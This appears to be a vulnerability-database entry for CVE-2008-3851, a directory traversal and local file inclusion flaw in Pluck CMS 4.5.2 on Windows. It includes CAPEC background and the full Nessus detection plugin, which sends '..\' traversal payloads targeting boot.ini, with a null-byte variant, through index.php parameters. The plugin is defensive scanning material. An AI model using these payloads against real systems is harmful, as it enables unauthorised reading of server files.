Vulnerabilities > CVE-2008-3851 - Path Traversal vulnerability in Pluck 4.5.2

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
low complexity
microsoft
pluck
CWE-22
nessus
exploit available
NVD
Published: 2008-08-27
Updated: 2018-10-11

Summary

Multiple directory traversal vulnerabilities in Pluck CMS 4.5.2 on Windows allow remote attackers to include and execute arbitrary local files via a ..\ (dot dot backslash) in the (1) blogpost, (2) cat, and (3) file parameters to data/inc/themes/predefined_variables.php, as reachable through index.php; and the (4) blogpost and (5) cat parameters to data/inc/blog_include_react.php, as reachable through index.php. NOTE: the issue involving vectors 1 through 3 reportedly exists because of an incomplete fix for CVE-2008-3194.

Vulnerable Configurations

Part Description Count
OS
Microsoft
1
Application
Pluck
1

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

descriptionPluck CMS 4.5.2 Multiple Local File Inclusion Vulnerabilities. CVE-2008-3851. Webapps exploit for php platform
fileexploits/php/webapps/6300.txt
idEDB-ID:6300
last seen2016-01-31
modified2008-08-25
platformphp
port
published2008-08-25
reporterDSecRG
sourcehttps://www.exploit-db.com/download/6300/
titlePluck CMS 4.5.2 - Multiple Local File Inclusion Vulnerabilities
typewebapps

Nessus

NASL familyCGI abuses
NASL idPLUCK_4_5_3_FILE_INCLUDES.NASL
descriptionThe remote host is running pluck, a simple content management system written in PHP. The version of pluck installed on the remote host fails to sanitize user-supplied input to several parameters before using it in
last seen2020-06-01
modified2020-06-02
plugin id34169
published2008-09-11
reporterThis script is Copyright (C) 2008-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/34169
titlepluck < 4.5.3 Multiple Local File Include Vulnerabilities
code
#
# (C) Tenable Network Security, Inc.
#



include("compat.inc");

if (description)
{
  script_id(34169);
  script_version("1.17");

  script_cve_id("CVE-2008-3851");
  script_bugtraq_id(30820);
  script_xref(name:"EDB-ID", value:"6300");
  script_xref(name:"Secunia", value:"31607");

  script_name(english:"pluck < 4.5.3 Multiple Local File Include Vulnerabilities");
  script_summary(english:"Tries to read a local file");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by
several local file include vulnerabilities." );
 script_set_attribute(attribute:"description", value:
"The remote host is running pluck, a simple content management system
written in PHP. 

The version of pluck installed on the remote host fails to sanitize
user-supplied input to several parameters before using it in
'data/inc/themes/predefined_variables.php' or
'data/inc/blog_include_react.php' to include PHP code.  An
unauthenticated, remote attacker can exploit this issue to view
arbitrary files or possibly to execute arbitrary PHP code on the
remote host, subject to the privileges of the web server user id. 

Note that exploitation of these issues will only be successful if the
underlying operating system accepts a backslash as a path separator,
such as Windows." );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/495706/30/0/threaded" );
  # http://web.archive.org/web/20080619234735/http://www.pluck-cms.org/releasenotes.php
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?b0c9968b" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to pluck 4.5.3." );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
 script_cwe_id(22);
 script_set_attribute(attribute:"plugin_publication_date", value: "2008/09/11");
 script_cvs_date("Date: 2018/11/15 20:50:18");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:pluck:pluck");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2008-2018 Tenable Network Security, Inc.");

  script_dependencies("http_version.nasl", "os_fingerprint.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");
  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");


# Unless we're paranoid, don't bother if we know the OS and it's not 
# one that support backslashes as a path separator.
if (report_paranoia < 2)
{
  os = get_kb_item("Host/OS");
  if (
    os &&
    "Windows" >!< os && "Netware" >!< os && "OS/2" >!< os
  ) exit(0);
}


port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);

file = crap(data:"..\", length:10*3) + "boot.ini";
file_pat = "^ *\[boot loader\]";


if (thorough_tests) 
{
  exploits = make_list(
    string("index.php?file=", file),
    string("index.php?blogpost=", file),
    string("index.php?blogpost=", SCRIPT_NAME, "&cat=", file, "%00")
  );
}
else 
{
  exploits = make_list(
    string("index.php?file=", file)
  );
}


# Loop through directories.
if (thorough_tests) dirs = list_uniq(make_list("/pluck", "/cms", cgi_dirs()));
else dirs = make_list(cgi_dirs());

foreach dir (dirs)
{
  foreach exploit (exploits)
  {
    url = string(dir, "/", exploit);

    r = http_send_recv3(method:"GET", item:url, port:port);
    if (isnull(r)) exit(0);
    res = r[2];

    # There's a problem if...
    file2 = str_replace(find:"\", replace:"\\", string:file);
    if (
      # it's pluck and...
      (
        'powered by <a href="http://www.pluck-cms.org">pluck' >< res ||
        egrep(pattern:'<a href="\\?file=kop[0-9]+\\.php">', string:res)
      ) &&
      (
        # we get the file we're looking for or...
        egrep(pattern:file_pat, string:res) ||
        # we get an error because magic_quotes was enabled or...
        string(file2, "\\0/posts/", SCRIPT_NAME) >< res ||
        # we get an error claiming the file doesn't exist or...
        string("main(data/blog//posts/", file2, "): failed to open stream: No such file") >< res ||
        string("include(data/blog//posts/", file2, ") [function.include]: failed to open stream: No such file") >< res ||
        string("include(data/blog//posts/", file2, ") [<a href='function.include'>function.include</a>]: failed to open stream: No such file") >< res ||
        # we get an error about open_basedir restriction.
        string("include(data/blog//posts/", file2, ") [function.include]: failed to open stream: Operation not permitted") >< res ||
        string("include(data/blog//posts/", file2, ") [<a href='function.include'>function.include</a>]: failed to open stream: Operation not permitted") >< res ||
        string("open_basedir restriction in effect. File(", file2) >< res
      )
    )
    {
      if (report_verbosity && egrep(pattern:file_pat, string:res))
      {
        output = "";
        if ("<!DOCTYPE" >< res) output = res - strstr(res, "<!DOCTYPE");
        if (!egrep(pattern:file_pat, string:output)) output = res;

        report = string(
          "\n",
          "Nessus was able to retrieve the contents of '\", str_replace(find:"..\", replace:"", string:file), "' on the\n",
          "remote host using the following URL :\n",
          "\n",
          "  ", build_url(port:port, qs:url), "\n"
        );
        if (report_verbosity > 1)
        {
          report = string(
            report,
            "\n",
            "Here are the contents :\n",
            "\n",
            "  ", str_replace(find:'\n', replace:'\n  ', string:output), "\n"
          );
        }
        security_warning(port:port, extra:report);
      }
      else security_warning(port);
      exit(0);
    }
  }
}

References